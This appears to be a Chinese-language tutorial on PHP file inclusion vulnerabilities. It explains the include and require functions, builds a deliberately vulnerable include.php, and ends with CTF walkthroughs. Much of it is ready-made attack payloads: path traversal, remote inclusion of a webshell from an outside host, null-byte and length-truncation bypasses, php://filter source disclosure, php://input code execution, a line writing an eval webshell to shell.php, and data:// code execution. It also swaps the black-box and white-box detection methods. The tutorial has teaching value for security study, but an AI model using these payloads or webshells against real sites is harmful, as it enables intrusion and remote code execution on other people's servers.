文件包含
文件包含:将文件里的内容以脚本代码执行
漏洞成因:可控变量、文件包含函数
文件包含函数:
有文件包含的各个脚本的代码
文件包含在 php 中,涉及到的危险函数有四个,分别是include()、include_once()、require()、require_once()。
区别如下:
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
本地包含
#本地搭建-include.php
<?php
$filename=$_GET['filename'];
include($filename);
?>
#1.php
<?php
phpinfo();
?>
本地访问:http://127.0.0.1/include.php?filename=1.txt 得到以下界面
如果想要包含的文件不在当前目录,可以使用…/返回上级
举例:我把1.txt放在D盘的根目录下,就可以这样访问http://127.0.0.1/include.php?filename=…/…/1.txt
远程包含
相较于本地包含它的危害更大,如果是远程包含可以这样访问
php远程文件包含的前提条件是开启了allow_url_include
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt
如果将1.txt文件内容改为一句话木马,则可以使用菜刀等工具连接后门
检测方法
黑盒:代码审计
白盒:漏扫工具、公开漏洞、手工看参数值及功能点
绕过方法
有限代码是这样的,它限制了后缀名
<?php
$filename=$_GET['filename'];
include($filename.".html");
echo '123';
?>
方法一:%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
使用payload
http://127.0.0.1/include.php?filename=1.txt%00
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt%00
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt%23
http://127.0.0.1/include.php?filename=http://www.lxl.com/1.txt?
方法二:长度截断 (垃圾数据填充) 用多个点号或者/. 在filename=1.txt后面输入多个点号。
条件:windows点号需要长于256;linux长于4096
http://127.0.0.1/include.php?filename=1.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
各种协议流
php://filter——读取文件源码
http://127.0.0.1/include.php?filename=php://filter/read=convert.base64-encode/resource=1.txt
使用base64编码是为了防止乱码
php://input——执行php代码
##php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分:<?php system("var"); ?>]
php://input——写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
file://访问本地文件
用于访问本地文件系统。当指定了一个相对路径(不以、、\或 Windows盘符开头的路径)提供的路径将基于当前的工作目录。
方法一:file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?filename=file://D:\phpstudy_pro\WWW\1.txt
方法二:file://[文件的相对路径和文件名]
http://127 .0.0.1/include . php?file= ./phpinfo. txt
data://执行php代码
数据流封装器,以传递相应格式的数据,通常可以用来执行php代码
http://127.0.0.1/include.php?filename=data://text/plain,<?php%20phpinfo();?>
http://127.0.0.1/include.php?filename=data://text/plain;base64,PD9waHAlMjBwaHBpbmZvKCk7Pz4KIA==
CTF典型例题
CTF-南邮大,i春秋百度杯真题-白盒
地址:http://4.chinalover.sinaapp.com/web7/index.php
点击按钮
http://4.chinalover.sinaapp.com/web7/show.php
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
发现访问这两个网站,页面显示内容均为test123,确定为文件包含漏洞
尝试根据协议读取源码
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码,得到flag
i春秋某Web Include CTF题
网址:https://www.ichunqiu.com/battalion?t=1&r=0
首页打开如下图所示,说明含有文件包含漏洞。
尝试读取本目录下的文件结构,成功
.com/?path=php://input
尝试读取dle345ae.php文件
还可以使用php://filter协议,读取文件内容后,到本地base64解码,拿到flag。